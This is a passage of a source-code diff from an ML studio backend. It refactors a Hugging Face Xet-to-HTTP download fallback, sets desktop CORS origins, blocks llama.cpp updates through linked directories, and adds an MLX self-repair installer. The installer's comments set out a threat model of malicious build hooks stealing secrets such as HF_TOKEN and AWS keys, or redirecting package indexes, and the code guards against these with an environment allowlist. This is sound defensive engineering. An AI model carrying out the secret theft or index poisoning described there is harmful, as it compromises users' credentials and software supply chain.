= 10.0 -_POLL_INTERVAL = 0.5 + +# --- lazy shared-backend loader ---------------------------------------------------------------- +_shared: Any = None +_shared_available: Optional[bool] = None # None = not yet attempted +_shared_import_error: Optional[BaseException] = None +_load_lock = threading.Lock() -class DownloadStallError(RuntimeError): - """Raised when no download progress is observed for too long. +def _load_shared() -> bool: + """Import ``unsloth_zoo.hf_xet_fallback`` on demand; return True if available. Deferred so + importing this module at worker startup does not pull transformers in before the sidecar is + activated. Degrades (returns False) rather than crashing when unsloth_zoo is unavailable.""" + global _shared, _shared_available, _shared_import_error + if _shared_available is not None: + return _shared_available + with _load_lock: + if _shared_available is not None: + return _shared_available + try: + import unsloth_zoo.hf_xet_fallback as shared - Canonical home; orchestrator.py re-imports it so all paths share one type. - """ + _shared = shared + _shared_available = True + _shared_import_error = None + return True + except Exception as exc: # noqa: BLE001 - any import failure must degrade, not crash + # unsloth_zoo's __init__ runs torch/GPU detection, which raises on a torch-less/GPU-less + # host. The download helper needs none of it, so retry via UNSLOTH_ZOO_DISABLE_GPU_INIT. + _shared_import_error = exc + import os as _os + + _prev_gpu_init = _os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT") + _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = "1" + try: + import unsloth_zoo.hf_xet_fallback as shared + + _shared = shared + _shared_available = True + _shared_import_error = None + return True + except Exception as exc2: # noqa: BLE001 - degrade so Studio still boots with plain HF + _shared_import_error = exc2 + _shared_available = False + import logging as _logging + + _logging.getLogger(__name__).warning( + "unsloth_zoo.hf_xet_fallback unavailable (%s); the Xet stall watchdog is " + "disabled. Install/upgrade unsloth_zoo (and its torch dependency) to " + "re-enable automatic Xet -> HTTP download recovery.", + _shared_import_error, + ) + return False + finally: + if _prev_gpu_init is None: + _os.environ.pop("UNSLOTH_ZOO_DISABLE_GPU_INIT", None) + else: + _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = _prev_gpu_init def child_should_disable_xet(config: dict) -> bool: - """Single source of truth for the per-worker Xet env flip.""" + """Single source of truth for the per-worker Xet env flip (mirrors + ``unsloth_zoo.hf_xet_fallback.child_should_disable_xet``). Deliberately lightweight: importing or + calling it must NOT pull in unsloth_zoo/transformers, so the worker can decide before activating + the transformers sidecar (see the module docstring).""" return bool(config.get("disable_xet")) -def get_hf_download_state( - repo_ids: Optional[list[str]] = None, *, repo_type: str = "model" -) -> Optional[tuple[int, bool]]: - """Return ``(total_on_disk_bytes, has_incomplete)`` for the active HF cache. - - Sparse-aware (st_blocks based) so a sparse Xet/``hf_transfer`` ``.incomplete`` - is not mistaken for full-size progress. ``None`` means the state could not be - measured, so callers skip stall logic for that tick. - """ - try: - from hub.utils.hf_cache_state import ( - blob_bytes_present, - has_active_incomplete_blobs, - hf_cache_root, - iter_active_repo_cache_dirs, - ) - - if hf_cache_root() is None: - return (0, False) - - total = 0 - has_incomplete = False - for repo_id in repo_ids or []: - # Skip local paths: HF IDs never start with / . ~ or contain "\". - if not repo_id or repo_id.startswith(("/", ".", "~")) or "\\" in repo_id: - continue - for entry in iter_active_repo_cache_dirs(repo_type, repo_id): - blobs_dir = entry / "blobs" - if not blobs_dir.is_dir(): - continue - for blob in blobs_dir.iterdir(): - try: - if blob.is_file(): - total += blob_bytes_present(blob) - except OSError: - pass - if has_active_incomplete_blobs(repo_type, repo_id): - has_incomplete = True - return (total, has_incomplete) - except Exception as e: - logger.debug("Failed to determine HF download state: %s", e) - return None +# --- degraded stubs (used only when unsloth_zoo is unavailable) ------------------------------- +class _DegradedDownloadStallError(RuntimeError): + """Stub mirror so callers' ``except`` clauses resolve; never raised in degraded mode.""" -def start_watchdog( +def _degraded_get_hf_download_state(*args: Any, **kwargs: Any) -> None: + return None # unmeasurable -> the (absent) watchdog never fires + + +def _degraded_start_watchdog( *, - repo_ids: list[str], - on_stall: Callable[[str], None], - repo_type: str = "model", + on_heartbeat: "Optional[Callable[[str], None]]" = None, interval: float = DEFAULT_HEARTBEAT_INTERVAL, - stall_timeout: float = DEFAULT_STALL_TIMEOUT, xet_disabled: bool = False, - on_heartbeat: Optional[Callable[[str], None]] = None, -) -> threading.Event: - """Start a daemon thread that fires ``on_stall(message)`` exactly once iff a - ``*.incomplete`` is present AND the on-disk size is unchanged for - *stall_timeout* seconds. The timer resets while no ``*.incomplete`` exists, so - post-download init is never misread as a stall. Returns a stop event the - caller sets when the download phase ends. - """ + **kwargs: Any, +) -> "threading.Event": + # No stall detection, but keep emitting heartbeats so the orchestrator's inactivity deadline + # is not tripped during a long download. stop = threading.Event() + if on_heartbeat is None: + return stop transport = "https" if xet_disabled else "xet" - fired = False def _beat() -> None: - nonlocal fired - state = get_hf_download_state(repo_ids, repo_type = repo_type) - last_size = state[0] if state is not None else 0 - last_change = time.monotonic() - while not stop.wait(interval): - state = get_hf_download_state(repo_ids, repo_type = repo_type) - now = time.monotonic() - - if state is None: - if on_heartbeat is not None: - on_heartbeat(f"Downloading ({transport} transport)...") - continue - - current_size, has_incomplete = state - if current_size != last_size: - last_size = current_size - last_change = now - - # Reset unless .incomplete confirms an active download, so model init - # and lock waits are not counted as a stall. - if not has_incomplete: - last_change = now - elif now - last_change >= stall_timeout: - if not fired: - fired = True - on_stall( - f"Download appears stalled ({transport} transport) " - f"-- no progress for {int(now - last_change)}s" - ) - return - - if on_heartbeat is not None: + try: on_heartbeat(f"Downloading ({transport} transport)...") + except Exception: + pass - threading.Thread(target = _beat, daemon = True, name = "hf-xet-watchdog").start() + threading.Thread( + target = _beat, + daemon = True, + name = "hf-xet-degraded-heartbeat", + ).start() return stop -def _download_child_entry( - *, - repo_id: str, - filename: str, - token: Optional[str], - repo_type: str, - disable_xet: bool, - result_queue: Any, -) -> None: - """Spawn-child entrypoint: download one file and report the result. - - Top-level and picklable. Sets the Xet env BEFORE importing huggingface_hub, - forms its own process group so the parent can kill the whole transfer, and - never logs the token or signed URLs. - """ - # Die with Studio on Linux (this mp child gets no parent-set preexec_fn). - try: - from utils.process_lifetime import bind_current_process_to_parent_lifetime - bind_current_process_to_parent_lifetime() - except Exception: - pass - - if hasattr(os, "setsid"): - try: - os.setsid() - except OSError: - pass - - if disable_xet: - os.environ["HF_HUB_DISABLE_XET"] = "1" - # Keep the HTTP writer sequential and resumable (hf_transfer leaves sparse - # partials a sequential resume cannot safely continue). - os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0" - os.environ.setdefault("HF_HUB_DISABLE_PROGRESS_BARS", "1") - - # Test-only fault injection (never set in production): stall the Xet attempt - # so the watchdog + HTTP fallback can be exercised against a real repo. - if not disable_xet and os.environ.get("UNSLOTH_HF_XET_FORCE_STALL") == "1": - import time as _t - try: - from huggingface_hub.constants import HF_HUB_CACHE - - blobs = os.path.join(HF_HUB_CACHE, "models--" + repo_id.replace("/", "--"), "blobs") - os.makedirs(blobs, exist_ok = True) - with open(os.path.join(blobs, "xet-force-stall.incomplete"), "wb") as fh: - fh.write(b"\0" * 4096) - except OSError: - pass - while True: - _t.sleep(3600) - - try: - from huggingface_hub import hf_hub_download - path = hf_hub_download( - repo_id = repo_id, - filename = filename, - repo_type = repo_type, - token = token, - ) - result_queue.put({"ok": True, "path": path}) - except BaseException as e: # noqa: BLE001 - report every failure to the parent - error = f"{type(e).__name__}: {e}" - try: - from hub.utils.download_registry import scrub_secrets - error = scrub_secrets(error, hf_token = token) - except Exception: - pass - result_queue.put({"ok": False, "error": error}) +def _degraded_cancelled(cancel_event: "Optional[threading.Event]") -> bool: + return cancel_event is not None and cancel_event.is_set() -def _terminate_process_group(proc: "mp.process.BaseProcess", grace_period: float) -> None: - """Kill *proc* and its whole process group (Xet may spawn helper procs). - - The child calls ``os.setsid()`` so its pgid equals its pid; signal via - ``os.killpg(pid, ...)`` -- NOT ``getpgid``, which before the child becomes a - group leader resolves to OUR group. SIGTERM, then SIGKILL after *grace_period*. - """ - pid = proc.pid - - def _signal_group(sig: int) -> None: - if pid is not None and hasattr(os, "killpg"): - try: - os.killpg(pid, sig) - return - except (ProcessLookupError, PermissionError, OSError): - pass - # Windows or pre-setsid: best effort on the single process. - try: - proc.terminate() if sig != getattr(signal, "SIGKILL", -9) else proc.kill() - except Exception: - pass - - _signal_group(getattr(signal, "SIGTERM", signal.SIGINT)) - proc.join(timeout = grace_period) - if proc.is_alive(): - _signal_group(getattr(signal, "SIGKILL", signal.SIGTERM)) - proc.join(timeout = 5.0) - - -def _run_download_attempt( +def _degraded_hf_hub_download_with_xet_fallback( repo_id: str, filename: str, token: Optional[str], *, - repo_type: str, - disable_xet: bool, - cancel_event: Optional[threading.Event], - stall_timeout: float, - interval: float, - grace_period: float, - on_status: Optional[Callable[[str], None]], -) -> tuple[str, Optional[str]]: - """Run one download in a spawn child supervised by the no-progress watchdog. + repo_type: str = "model", + revision: Optional[str] = None, + cache_dir: Optional[str] = None, + force_download: bool = False, + cancel_event: "Optional[threading.Event]" = None, + **_ignored: Any, +) -> str: + # Keep the cancellation contract: do not start or return a download once cancelled. + if _degraded_cancelled(cancel_event): + raise RuntimeError("Cancelled") - Returns ``("ok", path)``, ``("stall", None)``, ``("cancelled", None)``, or - ``("error", message)``. This is the seam tests monkeypatch to avoid spawning. - """ - result_queue: Any = _CTX.Queue() - proc = _CTX.Process( - target = _download_child_entry, - kwargs = dict( - repo_id = repo_id, - filename = filename, - token = token, - repo_type = repo_type, - disable_xet = disable_xet, - result_queue = result_queue, - ), - daemon = True, - ) - proc.start() - from utils.process_lifetime import adopt_pid + from huggingface_hub import hf_hub_download - adopt_pid(proc.pid) # bind to parent lifetime (Windows job / sweep) - - stalled = threading.Event() - stop_watchdog = start_watchdog( - repo_ids = [repo_id], - on_stall = lambda msg: stalled.set(), + path = hf_hub_download( + repo_id = repo_id, + filename = filename, + token = token, repo_type = repo_type, - interval = interval, - stall_timeout = stall_timeout, - xet_disabled = disable_xet, - on_heartbeat = on_status, + revision = revision, + cache_dir = cache_dir, + force_download = force_download, ) + if _degraded_cancelled(cancel_event): + raise RuntimeError("Cancelled") + return path - result: Optional[dict] = None + +def _degraded_snapshot_download_with_xet_fallback( + repo_id: str, + *, + revision: Optional[str] = None, + token: Optional[str] = None, + repo_type: str = "model", + cache_dir: Optional[str] = None, + allow_patterns: Optional[Any] = None, + ignore_patterns: Optional[Any] = None, + force_download: bool = False, + cancel_event: "Optional[threading.Event]" = None, + **_ignored: Any, +) -> str: + if _degraded_cancelled(cancel_event): + raise RuntimeError("Cancelled") + + from huggingface_hub import snapshot_download + + path = snapshot_download( + repo_id = repo_id, + repo_type = repo_type, + revision = revision, + token = token, + cache_dir = cache_dir, + allow_patterns = allow_patterns, + ignore_patterns = ignore_patterns, + force_download = force_download, + ) + if _degraded_cancelled(cancel_event): + raise RuntimeError("Cancelled") + return path + + +# --- lazy attribute access for the heavy shared API ------------------------------------------- +# ``DownloadStallError`` (class identity matters for ``except``), ``start_watchdog`` and +# ``get_hf_download_state`` come from the shared backend when available, else the degraded stubs. +# Resolved via PEP 562 ``__getattr__`` so ``from utils.hf_xet_fallback import X`` triggers the load +# only for these heavy names, not for ``child_should_disable_xet`` / ``DEFAULT_*``. +_DEGRADED_ATTRS = { + "DownloadStallError": _DegradedDownloadStallError, + "start_watchdog": _degraded_start_watchdog, + "get_hf_download_state": _degraded_get_hf_download_state, +} + +# Annotation-only declarations for the three names above: they bind NO value, so lookup still misses +# and PEP 562 ``__getattr__`` resolves them lazily -- but ruff/pyflakes see them as defined, so listing +# them in ``__all__`` does not trip F822 (while F822 still catches a real typo elsewhere in the list). +DownloadStallError: type +start_watchdog: Any +get_hf_download_state: Any + + +def __getattr__(name: str) -> Any: + if name in _DEGRADED_ATTRS: + if _load_shared(): + return getattr(_shared, name) + return _DEGRADED_ATTRS[name] + raise AttributeError(f"module {__name__!r} has no attribute {name!r}") + + +# Indirection seam the public wrappers call (and tests monkeypatch): lazy-load the shared backend, +# then dispatch to it or the degraded stub. The ``_shared_*`` names preserve the pre-refactor contract. +def _shared_hf_hub_download_with_xet_fallback(*args: Any, **kwargs: Any) -> str: + impl = ( + _shared.hf_hub_download_with_xet_fallback + if _load_shared() + else _degraded_hf_hub_download_with_xet_fallback + ) + return impl(*args, **kwargs) + + +def _shared_snapshot_download_with_xet_fallback(*args: Any, **kwargs: Any) -> str: + impl = ( + _shared.snapshot_download_with_xet_fallback + if _load_shared() + else _degraded_snapshot_download_with_xet_fallback + ) + return impl(*args, **kwargs) + + +__all__ = [ + "DEFAULT_GRACE_PERIOD", + "DEFAULT_HEARTBEAT_INTERVAL", + "DEFAULT_STALL_TIMEOUT", + "DownloadStallError", + "child_should_disable_xet", + "get_hf_download_state", + "start_watchdog", + "hf_hub_download_with_xet_fallback", + "snapshot_download_with_xet_fallback", +] + + +def _studio_prepare_for_http(repo_type: str, repo_id: str) -> None: + """Studio's marker-aware purge before an HTTP resume, keeping the download manager's ``.transport`` + accounting consistent (vs unsloth_zoo's generic default). Guarded: a purge failure is logged, + not fatal to the retry.""" try: - while proc.is_alive(): - if cancel_event is not None and cancel_event.is_set(): - _terminate_process_group(proc, grace_period) - return ("cancelled", None) - if stalled.is_set(): - _terminate_process_group(proc, grace_period) - return ("stall", None) - try: - result = result_queue.get(timeout = _POLL_INTERVAL) - break - except queue.Empty: - continue - else: - # Process exited; drain any result it enqueued. - try: - result = result_queue.get_nowait() - except queue.Empty: - result = None - finally: - stop_watchdog.set() - proc.join(timeout = grace_period) - - if result is None: - return ( - "error", - f"download process for '{repo_id}/{filename}' exited " - f"(code={proc.exitcode}) without a result", - ) - if result.get("ok"): - return ("ok", result["path"]) - return ("error", result.get("error") or "unknown download error") + from hub.utils.download_registry import prepare_cache_for_transport + prepare_cache_for_transport(repo_type, repo_id, "http") + except Exception as exc: + try: + from loggers import get_logger + get_logger(__name__).debug( + "Studio prepare_cache_for_transport failed for %s: %s", repo_id, exc + ) + except ModuleNotFoundError as logger_exc: + if logger_exc.name != "loggers": + raise def hf_hub_download_with_xet_fallback( @@ -341,75 +287,32 @@ def hf_hub_download_with_xet_fallback( *, cancel_event: Optional[threading.Event] = None, repo_type: str = "model", + revision: Optional[str] = None, stall_timeout: float = DEFAULT_STALL_TIMEOUT, interval: float = DEFAULT_HEARTBEAT_INTERVAL, grace_period: float = DEFAULT_GRACE_PERIOD, on_status: Optional[Callable[[str], None]] = None, + force_download: bool = False, ) -> str: - """Download a single file with Xet primary and HTTP as a stall-only fallback. + """Single-file download via the shared fallback with Studio's marker-aware HTTP-retry prep. + ``force_download`` re-fetches a newer blob over a cached one (Studio's model-update path).""" + return _shared_hf_hub_download_with_xet_fallback( + repo_id, + filename, + token, + cancel_event = cancel_event, + repo_type = repo_type, + revision = revision, + stall_timeout = stall_timeout, + interval = interval, + grace_period = grace_period, + on_status = on_status, + force_download = force_download, + prepare_for_http_fn = _studio_prepare_for_http, + ) - Returns the local cache path. Raises ``RuntimeError("Cancelled")`` if - *cancel_event* is set, re-raises a deterministic child error unchanged (no - fallback), and raises ``DownloadStallError`` only if BOTH transports stall. - """ - # Finalized blob already cached: return it with no child and no network. - try: - from huggingface_hub import try_to_load_from_cache - cached = try_to_load_from_cache(repo_id, filename, repo_type = repo_type) - if isinstance(cached, str) and os.path.exists(cached): - return cached - except Exception as e: - logger.debug("Cached probe failed for %s/%s: %s", repo_id, filename, e) - if cancel_event is not None and cancel_event.is_set(): - raise RuntimeError("Cancelled") - - disable_xet = False - for attempt in range(2): - if disable_xet: - # Purge a non-HTTP partial before resuming over HTTP: an HTTP resume - # over a sparse Xet/hf_transfer partial silently corrupts the blob. - try: - from hub.utils.download_registry import prepare_cache_for_transport - prepare_cache_for_transport(repo_type, repo_id, "http") - except Exception as e: - logger.debug("prepare_cache_for_transport failed for %s: %s", repo_id, e) - - kind, payload = _run_download_attempt( - repo_id, - filename, - token, - repo_type = repo_type, - disable_xet = disable_xet, - cancel_event = cancel_event, - stall_timeout = stall_timeout, - interval = interval, - grace_period = grace_period, - on_status = on_status, - ) - - if kind == "ok": - return payload # type: ignore[return-value] - if kind == "cancelled": - raise RuntimeError("Cancelled") - if kind == "error": - # Deterministic failure: the other transport would fail identically. - raise RuntimeError(payload) - # kind == "stall" - if attempt == 0 and not disable_xet: - logger.warning( - "Download stalled for '%s/%s' -- retrying with HF_HUB_DISABLE_XET=1", - repo_id, - filename, - ) - if on_status is not None: - on_status(f"{repo_id}/{filename}: Xet stalled, retrying over HTTP") - disable_xet = True - continue - raise DownloadStallError( - f"Download stalled for '{repo_id}/{filename}' even with " - f"HF_HUB_DISABLE_XET=1 -- check your network connection" - ) - - # Unreachable: the loop either returns or raises on each attempt. - raise DownloadStallError(f"Download failed for '{repo_id}/{filename}'") +def snapshot_download_with_xet_fallback(repo_id: str, **kwargs: Any) -> str: + """Whole-repo download via the shared fallback with Studio's marker-aware HTTP-retry prep.""" + kwargs.setdefault("prepare_for_http_fn", _studio_prepare_for_http) + return _shared_snapshot_download_with_xet_fallback(repo_id, **kwargs) diff --git a/studio/backend/utils/host_policy.py b/studio/backend/utils/host_policy.py index bd9ebd68ba..f506eadc03 100644 --- a/studio/backend/utils/host_policy.py +++ b/studio/backend/utils/host_policy.py @@ -34,6 +34,26 @@ def is_external_host(host: str) -> bool: return host.lower() not in _LOOPBACK_HOSTS +# Tauri desktop webview origins. api-only serving (the desktop app calling a +# local backend) locks CORS to these. +_TAURI_CORS_ORIGINS = ( + "tauri://localhost", # Linux/macOS Tauri webview + "http://tauri.localhost", # Windows Tauri webview + "http://localhost", # dev fallback + "http://localhost:5173", # Tauri dev/Vite + "http://127.0.0.1:5173", # Tauri dev/Vite fallback +) + + +def cors_origins_for_mode(*, api_only: bool, secure: bool) -> list[str]: + """Allowed CORS origins. Default is any-origin (["*"]); api-only locks down + to the Tauri desktop app, except in secure mode where the API is published + over Cloudflare and must stay reachable from remote browser origins.""" + if api_only and not secure: + return list(_TAURI_CORS_ORIGINS) + return ["*"] + + def apply_stdio_mcp_loopback_default(host: str, *, is_colab: bool = False) -> None: """Default stdio MCP servers on when bound to loopback. diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py index 8648b053d5..1bcbfbf95a 100644 --- a/studio/backend/utils/llama_cpp_update.py +++ b/studio/backend/utils/llama_cpp_update.py @@ -324,12 +324,74 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]: } +def _is_external_link(path: Optional[Path]) -> bool: + """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink + or a Windows directory junction / reparse point. Such a link resolves into + the user's own llama.cpp checkout, so Studio must never auto-update it.""" + if path is None: + return False + try: + if os.path.islink(path): + return True + except OSError: + return False + if os.name == "nt": + try: + import stat + attrs = os.lstat(path).st_file_attributes # type: ignore[attr-defined] + return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT) + except (OSError, AttributeError): + return False + return False + + +def _active_install_is_local_link(binary: Optional[str]) -> bool: + """True when the active llama-server resolves through a --with-llama-cpp-dir + local link at the canonical llama.cpp directory. An update would write + through that link into the user's own checkout (or fail), so the install is + treated as externally managed: no update is offered or applied. Checks only + up to and including the ``llama.cpp`` dir so a symlinked HOME / studio root + above it can't trip a false positive.""" + if not binary: + return False + for parent in Path(binary).parents: + if _is_external_link(parent): + return True + if parent.name == "llama.cpp": + break + return False + + +def _local_link_status() -> dict: + """Status payload for a local-link install: unmanaged, no update offered.""" + with _job_lock: + job = dict(_job) + return { + "supported": False, + "update_available": False, + "stale": False, + "installed_tag": None, + "latest_tag": None, + "published_repo": None, + "installed_at_utc": None, + "age_days": None, + "source_build": False, + "local_link": True, + "update_size_bytes": None, + "job": job, + } + + def get_update_status(*, force_refresh: bool = False) -> dict: """Report whether a newer prebuilt exists plus the current job state. force_refresh bypasses the 24h release cache for an explicit "check now". """ binary = _find_binary() + # A --with-llama-cpp-dir local link is the user's own tree; never offer to + # replace it. Bail before any network/freshness work. + if _active_install_is_local_link(binary): + return _local_link_status() marker = read_install_marker(binary) with _job_lock: @@ -452,6 +514,12 @@ def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path logger.info("llama update: installing", cmd = " ".join(cmd)) # Stream progress lines into job["progress"]. env = dict(os.environ, UNSLOTH_PROGRESS_PERCENT_STEP = "5") + # Preserve a Vulkan install across updates: detect_host on a CUDA/ROCm + # box would otherwise re-route and silently replace the Vulkan build. + # Re-assert it via the same env flag setup uses (mirrors + # _rocm_install_args). + if asset and "vulkan" in asset.lower(): + env["UNSLOTH_FORCE_VULKAN"] = "1" proc = subprocess.Popen( cmd, stdout = subprocess.PIPE, @@ -537,6 +605,19 @@ def start_update() -> dict: """Kick off a background update. Idempotent: a second call while one is running returns the in-flight job rather than starting another.""" binary = _find_binary() + # Refuse to update a --with-llama-cpp-dir local link: installing a prebuilt + # here would write through the link into the user's own checkout (or fail) + # and silently drop the link the flag created. + if _active_install_is_local_link(binary): + return { + "started": False, + "reason": "local_link", + "message": ( + "llama.cpp is a local directory linked with --with-llama-cpp-dir; " + "Studio won't replace it. Update your own llama.cpp checkout instead." + ), + "job": get_update_status()["job"], + } marker = read_install_marker(binary) script = _installer_script() if script is None: diff --git a/studio/backend/utils/mlx_repair.py b/studio/backend/utils/mlx_repair.py new file mode 100644 index 0000000000..7e1c9864c9 --- /dev/null +++ b/studio/backend/utils/mlx_repair.py @@ -0,0 +1,364 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Best-effort MLX self-heal for Apple Silicon. + +On macOS, Studio enables Train/Export only when the MLX training/export stack is +usable (see utils.hardware.hardware.detect_hardware -> CHAT_ONLY). MLX is pulled +only transitively via unsloth-zoo, and a resolver backtrack (mlx-vlm -> +transformers>=5 vs the single-env transformers pin) can silently drop it, leaving +Train/Export greyed out after a reinstall/update. This reinstalls mlx by name on +a background thread, then re-detects so the gate re-opens without a manual +`unsloth studio update`. + +The install mirrors the main Apple Silicon installer (install_python_stack.py): +it points UV_OVERRIDE at overrides-darwin-arm64.txt so the resolver keeps the +Studio transformers pin AND installs a current mlx-vlm, and it requires the same +minimum versions unsloth-zoo declares so a backtracked old mlx-vlm (which still +imports but breaks VLM Train/Export) is never accepted as healthy. + +Mirrors the runtime backend self-heal already used for tilelang +(core.training.worker._ensure_tilelang_backend_unconditional): default-on, +best-effort, opt out with UNSLOTH_DISABLE_MLX_AUTOREPAIR=1. +""" + +from __future__ import annotations + +import importlib +import os +import platform +import shutil +import subprocess +import sys +import tempfile +import threading +from pathlib import Path + +import structlog + +from utils.uv_path_safety import uv_safe_path + +logger = structlog.get_logger(__name__) + +DISABLE_ENV_VAR = "UNSLOTH_DISABLE_MLX_AUTOREPAIR" +# Minimum versions unsloth-zoo requires on Apple Silicon (its pyproject darwin +# deps). mlx-vlm especially must be >=0.4.4: an older one still imports but +# breaks VLM Train/Export, so installing it would wrongly clear chat-only. +_MLX_MIN_VERSIONS = {"mlx": "0.22.0", "mlx-lm": "0.22.0", "mlx-vlm": "0.4.4"} +# mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5): strict load_weights +# rejects q_norm/k_norm, so a self-heal must not pull it. mlx-lm #1242. +_MLX_BAD_VERSIONS = {"mlx-lm": ("0.31.3",)} +_MLX_PACKAGE_NAMES = tuple(_MLX_MIN_VERSIONS) +_MLX_RUNTIME_IMPORTS = ("mlx.core", "mlx_lm", "mlx_lm.sample_utils", "mlx_vlm") + + +def _mlx_spec(name: str, version: str) -> str: + spec = f"{name}>={version}" + for bad in _MLX_BAD_VERSIONS.get(name, ()): + spec += f",!={bad}" + return spec + + +MLX_PACKAGES = tuple(_mlx_spec(name, version) for name, version in _MLX_MIN_VERSIONS.items()) +_MLX_REINSTALL_ARGS = tuple( + arg for name in _MLX_PACKAGE_NAMES for arg in ("--reinstall-package", name) +) +# Require pre-built wheels for the unattended self-heal. A source distribution's +# PEP 517 build backend runs arbitrary code at install time, and this install is +# default-on, resolver-driven, and runs before the post-install stack check can +# reject anything. mlx/mlx-metal ship wheels only (no sdist on PyPI) and +# mlx-lm/mlx-vlm publish py3-none-any wheels, so requiring wheels does not break a +# healthy self-heal; if a wheel is genuinely unavailable the install fails and +# Studio stays chat-only (the existing safe fallback) until `unsloth studio update`. +_ONLY_BINARY_ARG = "--only-binary=:all:" +# Allowlist of environment variables forwarded to the install subprocess. The +# self-heal runs without confirmation on the default startup path, so it must not +# hand resolver/build code the full Studio environment. Everything outside this +# set is dropped, which excludes three dangerous classes by construction: +# * secrets (HF_TOKEN, AWS_*, WANDB_API_KEY, ...) that a malicious wheel/sdist +# build hook would otherwise read straight out of os.environ; +# * package-source redirects (UV_INDEX*, UV_DEFAULT_INDEX, UV_FIND_LINKS, +# PIP_INDEX_URL, ...) so a poisoned process env cannot silently repoint the +# install at an attacker-controlled index/find-links; +# * cache-dir redirects (UV_CACHE_DIR, XDG_CACHE_HOME) so a poisoned env cannot +# point uv at an attacker-staged cache (cache poisoning / symlink writes). uv +# falls back to its safe user-owned default cache, reused across runs anyway. +# uv still honours on-disk config (uv.toml / pip.conf), so a corporate mirror +# configured there keeps working; only process-env redirects are dropped. We set +# UV_OVERRIDE ourselves in _mlx_install_env, so a poisoned one here is ignored. +_MLX_ENV_ALLOWLIST = frozenset( + { + "PATH", + "HOME", + "USER", + "LOGNAME", + "TMPDIR", + "TMP", + "TEMP", + "LANG", + "LC_ALL", + "LC_CTYPE", + # proxies + custom CA bundles so installs behind a corporate gateway work + "HTTP_PROXY", + "HTTPS_PROXY", + "NO_PROXY", + "ALL_PROXY", + "http_proxy", + "https_proxy", + "no_proxy", + "all_proxy", + "SSL_CERT_FILE", + "SSL_CERT_DIR", + "REQUESTS_CA_BUNDLE", + "CURL_CA_BUNDLE", + } +) +_REPAIR_TIMEOUT_S = 900 + +# Attempt at most once per process; success is sticky (mlx then imports and the +# guard short-circuits on the next boot). +_attempted = False +_attempted_lock = threading.Lock() + + +def is_apple_silicon() -> bool: + return platform.system() == "Darwin" and platform.machine() == "arm64" + + +def mlx_available() -> bool: + try: + import mlx.core # noqa: F401 + return True + except Exception: + return False + + +def _mlx_runtime_imports_available() -> bool: + for module in _MLX_RUNTIME_IMPORTS: + try: + importlib.import_module(module) + except Exception: + return False + return True + + +def _mlx_versions_satisfy_minimums() -> bool: + try: + from importlib.metadata import PackageNotFoundError + from importlib.metadata import version as _dist_version + + from packaging.version import Version + except Exception: + return False + for name, minimum in _MLX_MIN_VERSIONS.items(): + try: + installed = Version(_dist_version(name)) + if installed < Version(minimum): + return False + # A known-broken build counts as unsatisfied so the self-heal + # reinstalls a good one; Version compare matches 0.31.3(.0/+local). + if any(installed == Version(bad) for bad in _MLX_BAD_VERSIONS.get(name, ())): + return False + except PackageNotFoundError: + return False + except Exception: + return False + return True + + +def mlx_stack_available() -> bool: + """`import mlx.core` works AND mlx/mlx-lm/mlx-vlm meet unsloth-zoo's minimums. + + Check distribution versions before imports so a too-old but importable MLX + module is not loaded into this process before repair can replace it.""" + if not _mlx_versions_satisfy_minimums(): + return False + return _mlx_runtime_imports_available() + + +def _uv_executable() -> str | None: + """Find uv even when macOS GUI launchers start with a minimal PATH.""" + found = shutil.which("uv") + if found: + return found + for candidate in ( + Path.home() / ".local" / "bin" / "uv", + Path.home() / ".cargo" / "bin" / "uv", + Path("/opt/homebrew/bin/uv"), + Path("/usr/local/bin/uv"), + ): + try: + if candidate.is_file() and os.access(candidate, os.X_OK): + return str(candidate) + except OSError: + continue + return None + + +def _uv_install_cmd(*args: str) -> list[str] | None: + uv = _uv_executable() + if not uv: + return None + return [uv, "pip", "install", "--python", sys.executable, *args] + + +def _mlx_install_env() -> dict[str, str]: + """Minimal, allowlisted environment for the unattended mlx install. + + The self-heal runs without confirmation on the default startup path, so it + forwards only the variables uv genuinely needs (see _MLX_ENV_ALLOWLIST) instead + of the full Studio environment: secrets and package-source redirects in + os.environ are dropped so a malicious resolver-selected artifact cannot read + Studio secrets or be steered to a hostile index. + + Mirror the main installer (install_python_stack.py) by pointing UV_OVERRIDE at + overrides-darwin-arm64.txt, which relaxes mlx-vlm/mlx-lm's transformers>=5 + requirement to >=4.57.6. Without it, uv keeps the Studio transformers pin only + by silently backtracking mlx-vlm to an old, unsupported version (uv honours + UV_OVERRIDE; plain pip ignores it, so the transformers constraint below is the + pip-path safety net). We set UV_OVERRIDE ourselves, so a poisoned one in the + process env is ignored.""" + env = {key: os.environ[key] for key in _MLX_ENV_ALLOWLIST if key in os.environ} + override = ( + Path(__file__).resolve().parents[1] + / "requirements" + / "single-env" + / "overrides-darwin-arm64.txt" + ) + if override.is_file(): + # uv truncates UV_OVERRIDE at the first space (issue #6503). + env.setdefault("UV_OVERRIDE", uv_safe_path(override)) + return env + + +def _transformers_constraint_args() -> tuple[list[str], str | None]: + """Pin transformers to the running version for the mlx install. + + The install must never upgrade transformers underneath a running Studio + (the single-env install pins transformers==4.57.6). With UV_OVERRIDE set this + is belt-and-suspenders; on the plain-pip path (no UV_OVERRIDE support) it is + the actual guard -- the resolver either finds an mlx build compatible with the + pin or fails, leaving us chat-only rather than breaking Studio. Returns + (pip args, temp file path to clean up). + + Read the version from installed metadata rather than `import transformers`: + transformers can have valid metadata yet fail to import (e.g. an incompatible + huggingface_hub), and in that case we still want to pin it so the mlx install + cannot quietly upgrade it out from under Studio.""" + from importlib.metadata import PackageNotFoundError, version as _dist_version + + try: + transformers_version = _dist_version("transformers") + except PackageNotFoundError: + return [], None + except Exception: + return [], None + fd, path = tempfile.mkstemp(prefix = "mlx_repair_", suffix = ".txt") + with os.fdopen(fd, "w") as fh: + fh.write(f"transformers=={transformers_version}\n") + return ["--constraint", 